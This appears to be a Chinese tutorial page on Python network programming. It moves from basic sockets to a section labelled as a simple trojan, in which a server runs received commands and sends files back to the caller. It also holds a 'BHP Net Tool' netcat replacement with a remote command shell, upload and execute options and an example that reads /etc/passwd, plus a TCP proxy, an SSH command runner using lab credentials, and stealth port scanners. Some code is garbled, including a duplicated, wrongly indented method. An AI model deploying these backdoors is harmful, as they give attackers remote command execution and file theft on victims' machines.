使用Python编写网络应用


实现简单的网络通信

客户端

# -*- coding: UTF-8 -*-

import socket
import sys

#测试类
class Client:
    def __init__(self,host):
        self.host=host #待连接的远程主机的域名
    def connet(self): #连接方法
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        except socket.error as e:
            print("Failed to create socket. Error: %s"%e)
        sys.exit() #退出进程

 def connet(self): #连接方法
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        except socket.error as e:
            print("Failed to create socket. Error: %s"%e)
            sys.exit() #退出进程
        try:
            remote_ip = socket.gethostbyname(self.host)#根据域名获取ip
        except socket.gaierror:
            print('主机无法被解析')
            sys.exit() #退出进程
        try:
            s.connect((remote_ip,80))#连接
            message = b"GET / HTTP/1.1\r\n\r\n"
            s.sendall(message)#发送数据
            reply = s.recv(4096)#接收数据
            print(reply)
            s.close()#关闭连接
        except socket.error:
            sys.exit() #退出进程


if __name__ == '__main__':
    cl = Client('www.baidu.com')
    cl.connet()

服务端

# -*- coding: UTF-8 -*-

import socket
import sys

class server:
    def __init__(self,ip,port):
        self.port=port
        self.ip=ip
    def start(self):
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket
        try:
            s.bind((self.ip,self.port))#绑定
            s.listen(10)#监听
            print('等待客户端连接')
            conn, addr = s.accept()#接收连接
            print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
            data = conn.recv(1024)#接收数据
            print("客户端数据:%s"%data)
            conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据
            conn.close()#关闭连接
           
        except socket.error as e:
            print(e)
            sys.exit()
        finally:
             s.close() #关闭服务端


if __name__ == '__main__':
    s = server('',8800)
    s.start()

TCP/客户端与服务端基础

 TCP客户端

#coding=utf-8
import socket

target_host = "www.baidu.com"
target_port = 80

#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#连接客户端
client.connect((target_host,target_port))

#发送一些数据
client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n")

#接收一些数据
response = client.recv(4096)

print response

TCP服务端

#!/usr/bin/python
#coding=utf-8
import socket
import threading

bind_ip = "0.0.0.0"
bind_port = 1234

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print '[*] Listening on %s:%d'%(bind_ip,bind_port)

#客户处理线程
def handle_client(client_socket):
    
    #打印客户端发送得到的消息
    request = client_socket.recv(1024)

    print "[*] Received: %s"%request
    
    #返回一个数据包
    client_socket.send("ACK!")

    client_socket.close()

while True:
    
    client, addr = server.accept()

    print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1])
    
    #挂起客户端线程,处理传入数据
    client_handler = threading.Thread(target=handle_client,args=(client,))
    client_handler.start()

TCP 实现一个简单的木马

TCP客户端

# -*- coding: UTF-8 -*-

import socket
import sys
import re
import os

class Client:
    def __init__(self,serverIp,serverPort):
        self.serverIp=serverIp #待连接的远程主机的域名
        self.serverPort = serverPort
        self.bufferSize = 10240

    def connet(self): #连接方法
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        except socket.error as e:
            print("Failed to create socket. Error: %s"%e)
            
        try:
            s.connect((self.serverIp,self.serverPort))
            while True:
                message = input('> ')#接收用户输入
                if not message:
                    break
                s.send(bytes(message, 'utf-8'))#发送命令
                data = s.recv(self.bufferSize)#接收数据
                if not data:
                    break
                if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型
                    print(data.decode('utf-8')[4:])
                else:#文件内容处理
                    s.send("File size received".encode())#通知服务端可以发送文件了
                    file_total_size = int(data.decode())#总大小
                    received_size = 0
                    f = open("new" +os.path.split(message)[-1], "wb")#创建文件
                    while received_size < file_total_size:
                        data = s.recv(self.bufferSize)
                        f.write(data)#写文件
                        received_size += len(data)#累加接收长度
                        print("已接收:", received_size)
                    f.close()#关闭文件
                    print("receive done", file_total_size, " ", received_size)
        except socket.error:
            s.close()
            raise #退出进程
        finally:
            s.close()


if __name__ == '__main__':
    cl = Client('127.0.0.1',8800)
    cl.connet()
    sys.exit() #退出进程

TCP服务端

# -*- coding: UTF-8 -*-

import socket
import sys
import os


class server:
    def __init__(self, ip, port):
        self.port = port
        self.ip = ip
        self.bufferSize = 10240

    def start(self):  # 启动监听,接收数据
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.bind((self.ip, self.port))  # 绑定
            s.listen(10)  # 监听
            print('等待客户端连接')
            while True:  # 一直等待新的连接
                try:
                    conn, addr = s.accept()  # 接收连接
                    print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                    while True:  # 不知道客户端发送数据大小,循环接收
                        data = conn.recv(self.bufferSize)
                        if not data:
                            break
                        else:
                            self.executeCommand(conn,data)
                    conn.close()
                except socket.error as e:
                    print(e)
                    conn.close()  # 关闭连接
        finally:
            s.close()  # 关闭服务端

    def executeCommand(self, tcpCliSock, data):  # 解析并执行命令
        try:#
            message = data.decode("utf-8")
            if os.path.isfile(message):#判断是否是文件
                filesize = str(os.path.getsize(message))#获取文件大小
                print("文件大小为:",filesize)
                tcpCliSock.send(filesize.encode())#发送文件大小
                data = tcpCliSock.recv(self.bufferSize)  
                print("开始发送")
                f = open(message, "rb")#打开文件
                for line in f:
                    tcpCliSock.send(line)#发送文件内容
            else:
                tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
        except:
            raise
if __name__ == '__main__':
    s = server('', 8800)
    s.start()

取代netcat

#!/usr/bin/python
#coding=utf-8
import sys
import socket
import getopt
import threading
import subprocess

#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

#使用帮助
def usage():
    print "BHP Net Tool"  
    print  
    print "Usage: bhpnet.py -t target_host - p port"  
    print "-l --listen              - listen on [host]:[port] for incoming connections"  
    print "-e --execute=file_to_run -execute the given file upon receiving a connection"  
    print "-c --command             - initialize a commandshell"  
    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"  
    print  
    print  
    print "Examples:"  
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"  
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"  
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""  
    print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"  
    sys.exit(0) 

def client_sender(buffer):
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:
        #连接到目标主机
        client.connect((target,port))

        if len(buffer):
            client.send(buffer)

        while True:
            
            #现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print response,

            #等待更多的输入
            buffer = raw_input("")
            buffer += "\n"

            #发送出去
            client.send(buffer)

    except:
        print "[*] Exception! Exiting. "

        #关闭连接
        client.close()

def server_loop():
    global target

    #如果没有定义目标,那么我们监听所有的接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind((target,port))

    server.listen(5)

    while  True:
        client_socket, addr = server.accept()

        #分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()

def run_command(command):
    
    #换行
    command = command.rstrip()

    #运行命令并将输出返回
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
    except:
        output = "Failed to execute command. \r\n"

    #将输出发送
    return output

def client_handler(client_socket):
    global upload
    global execute
    global command

    #检测上传文件
    if len(upload_destination):
        
        #读取所有的字符并写下目标
        file_buffer = ""

        #持续读取数据直到没有符合的数据

        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        #现在我们接收这些数据并将他们写出来
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            #确认文件已经写出来
            client_socket.send("Successfully saved file to %s\r\n"%upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n"%upload_destination)
    #检查命令执行
    if len(execute):
        
        #运行命令
        output = run_command(execute)
        client_socket.send(output)

    #如果需要一个命令行shell,那么我们进入另一个循环
    if command:

        while True:
            
            #跳出一个窗口
            client_socket.send(" ")

            #现在我们接收文件直到发现换行符(enter key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            #返还命令输出
            response = run_command(cmd_buffer)

            #返回响应数据
            client_socket.send(response)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    #读取命令行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e","--execute"):
            execute = a
        elif o in ("-c","--commandshell"):
            command = True
        elif o in ("-u","--upload"):
            upload_destination = a
        elif o in ("-t","--target"):
            target = a
        elif o in ("-p","--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    #我们是进行监听还是仅从标准输入发送数据?
    if not listen and len(target) and port > 0 :

        #从命令行读取内存数据
        #这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()
        #发送数据
        client_sender(buffer)

    #我们开始监听并准备上传文件、执行命令
    #放置一个反弹shell
    #取决于上面的命令行选项
    if listen:
        server_loop()
main()

创建一个TCP代理

    #!/usr/bin/python  
    #coding=utf-8
    import socket  
    import sys  
    import threading  
      
    def server_loop(local_host,local_port,remote_host,remote_port,receive_first):  
          
        server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
      
        try:  
            server.bind((local_host,local_port))  
        except:  
            print "[!!] Failed to listen on %s:%d"%(local_host,local_port)  
            print "[!!] Check for other listening sockets or correct permissions. "  
            sys.exit(0)  
      
        print "[*] Listening on %s:%d"%(local_host,local_port)  
      
        server.listen(5)  
      
        while True:  
            client_socket, addr = server.accept()  
      
            #  打印出本地连接信息
            print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])  
      
            #  开启一个线程与远程主机通信
            proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))  
      
            proxy_thread.start()  
      
    def proxy_handler(client_socket,remote_host,remote_port,receive_first):  
          
        #  连接远程主机
        remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
        remote_socket.connect((remote_host,remote_port))  
      
        #  如果必要从远程主机接收数据
        if receive_first:  
      
            remote_buffer = receive_from(remote_socket)  
            hexdump(remote_buffer)  
      
            #  发送给我们的响应数据
            remote_buffer = response_handler(remote_buffer)  
      
            #  如果我们有数据传递给本地客户端,发送它
            if len(remote_buffer):  
                print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)  
                client_socket.send(remote_buffer)  
      
        #  现在我们从本地循环读取数据,发送给远程主机和本地主机
        while True:  
              
            #  从本地读取主机
            local_buffer = receive_from(client_socket)  
      
            if len(local_buffer):  
                  
                print "[==>] Received %d bytes from localhost. "%len(local_buffer)  
                hexdump(local_buffer)  
      
                #  发送给我们的本地请求
                local_buffer = request_handler(local_buffer)  
      
                #  向远程主机发送数据
                remote_socket.send(local_buffer)  
                print "[==>] Sent to remote ."  
      
            #  接受响应的数据
            remote_buffer = receive_from(remote_socket)  
      
            if len(remote_buffer):  
                  
                print "[<==] Received %d bytes from remote . "%len(remote_buffer)  
                hexdump(remote_buffer)  
      
                #  发送到响应处理函数
                remote_buffer = response_handler(remote_buffer)  
      
                #  将响应发送给本地socket
                client_socket.send(remote_buffer)  
      
                print "[<==] Sent to localhost. "  
      
            #  如果两边都没有数据,关闭连接
            if not len(local_buffer) or not len(remote_buffer):  
                client_socket.close()  
                remote_socket.close()  
                print "[*] No more data. Closing cnnections. "  
      
                break  
      
    #  十六进制导出函数
    def hexdump(src,length=16):  
        result = []  
        digits = 4 if isinstance(src,unicode) else 2  
      
        for i in xrange(0,len(src),length):  
            s = src[i:i+length]  
            hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])  
            text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])  
            result.append( b"%04X  %-*s  %s" % (i,length*(digits + 1),hexa,text))  
      
        print b'\n'.join(result)  
      
    def receive_from(connection):  
          
        buffer = ""  
      
        #  我们设置了两秒的超时,这取决于目标的情况,可能需要调整
        connection.settimeout(2)  
      
        try:  
            #  持续从缓存中读取数据直到没有数据或超时
            while True:  
                data = connection.recv(4096)  
                if not data:  
                    break  
                buffer += data  
        except:  
            pass  
      
        return buffer  
      
    #  对目标是远程主机的请求进行修改
    def request_handler(buffer):  
        #  执行包修改
        return buffer  
      
    #  对目标是本地主机的响应进行修改
    def response_handler(buffer):  
        #  执行包修改
        return buffer  
      
    def main():  
        if len(sys.argv[1:]) != 5:  
            print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "  
            print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"  
            sys.exit(0)  
      
        #  设置本地监听参数
        local_host = sys.argv[1]  
        local_port = int(sys.argv[2])  
      
        #  设置远程目标
        remote_host = sys.argv[3]  
        remote_port = int(sys.argv[4])  
      
        #  告诉代理在发送给远程主机之前连接和接收数据
        receive_first = sys.argv[5]  
      
        if "True" in receive_first:  
            receive_first = True  
        else:  
            receive_first = False  
      
        #  现在设置好我们的监听socket
        server_loop(local_host,local_port,remote_host,remote_port,receive_first)  
      
    main()  

通过Paramiko使用SSH

#!/usr/bin/python
import paramiko
import threading
import subprocess

def ssh_command(ip,user,passwd,command):
        client = paramiko.SSHClient()
        #client.load_host_keys('/home/justin/.ssh/known_hosts') 
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(ip,username=user,password=passwd)
        ssh_session = client.get_transport().open_session()
        if ssh_session.active:
                ssh_session.exec_command(command)  
                print ssh_session.recv(1024)
        return

ssh_command('10.10.10.128','msfadmin','msfadmin','uname -a') 

其他扫描方式收藏

import argparse
from scapy.all import *

#答疑端口状态
def print_ports(port, state):
    print("%s | %s" % (port, state))

def tcpScan(target,ports):
    print("tcp全连接扫描 %s with ports %s" % (target, ports))
    for port in ports:
        send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
        if (send is None):
            print_ports(port,"closed")
        elif send.haslayer("TCP"):
            print(send["TCP"].flags)
            if send["TCP"].flags == "SA":
                send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
                print_ports(port,"opend")
            elif send["TCP"].flags == "RA":
                print_ports(port,"closed")

    
def synScan(target,ports):
    print("tcp SYN扫描 %s with ports %s" % (target, ports))
    for port in ports:
        send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
        if (send is None):
            print_ports(port,"closed")
        elif send.haslayer("TCP"):
            print(send["TCP"].flags)
            if send["TCP"].flags == "SA":
                send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里
                print_ports(port,"opend")
            elif send["TCP"].flags == "RA":
                print_ports(port,"closed")
    
def ackScan(target,ports):
    print("tcp ack扫描 %s with ports %s" % (target, ports))
    for port in ports:
        ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5)
        print(str(type(ack_flag_scan_resp)))
        if (str(type(ack_flag_scan_resp))==""):
            print_ports(port,"filtered")
        elif(ack_flag_scan_resp.haslayer(TCP)):
            if(ack_flag_scan_resp.getlayer(TCP).flags == "R"):
                print_ports(port,"unfiltered")
        elif(ack_flag_scan_resp.haslayer(ICMP)):
            if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                print_ports(port,"filtered")
        else:
            print_ports(port,"filtered")  


def windowScan(target,ports):
    print("tcp window扫描 %s with ports %s" % (target, ports))
    for port in ports:
        window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5)
        print(str(type(window_scan_resp)))
        if (str(type(window_scan_resp))==""):
            print_ports(port,"close")
        elif(window_scan_resp.haslayer(TCP)):
            if(window_scan_resp.getlayer(TCP).window == 0):
                print_ports(port,"close")
            elif(window_scan_resp.getlayer(TCP).window > 0):
                print_ports(port,"open")
        else:
            print_ports(port,"close") 

def nullScan(target,ports):
    print("tcp NULL 扫描 %s with ports %s" % (target, ports))
    for port in ports:
        null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5)
        if (str(type(null_scan_resp))==""):
            print_ports(port,"Open|Filtered") 
        elif(null_scan_resp.haslayer(TCP)):
            if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"):
                print_ports( port,"Closed")
        elif(null_scan_resp.haslayer(ICMP)):
            if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                print_ports(port, "Filtered")

 
def finScan(target,ports):
    print("tcp FIN 扫描 %s with ports %s" % (target, ports))
    for port in ports:
        fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5)
        if (str(type(fin_scan_resp))==""):
            print_ports(port, "Open|Filtered")
        elif(fin_scan_resp.haslayer(TCP)):
            if(fin_scan_resp.getlayer(TCP).flags == 0x14):
                print_ports(port, "Closed")
        elif(fin_scan_resp.haslayer(ICMP)):
            if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                print_ports(port, "Filtered")


def xmaxScan(target,ports):
    print("tcp xmax 扫描 %s with ports %s" % (target, ports))
    for port in ports:
        fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5)
        if (str(type(fin_scan_resp))==""):
            print_ports(port, "Open|Filtered")
        elif(fin_scan_resp.haslayer(TCP)):
            if(fin_scan_resp.getlayer(TCP).flags == "R"):
                print_ports(port, "Closed")
        elif(fin_scan_resp.haslayer(ICMP)):
            if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                print_ports(port, "Filtered")

def udpScan(target,ports):
    print("UDP 扫描 %s with ports %s" % (target, ports))
    for port in ports:
        udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5)
        if (str(type(udp_scan_resp))==""):
            print_ports(port, "Open|Filtered")
        elif(udp_scan_resp.haslayer(UDP)):
            if(udp_scan_resp.getlayer(TCP).flags == "R"):
                print_ports(port, "Open")
        elif(udp_scan_resp.haslayer(ICMP)):
            if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                print_ports(port, "Filtered")

相关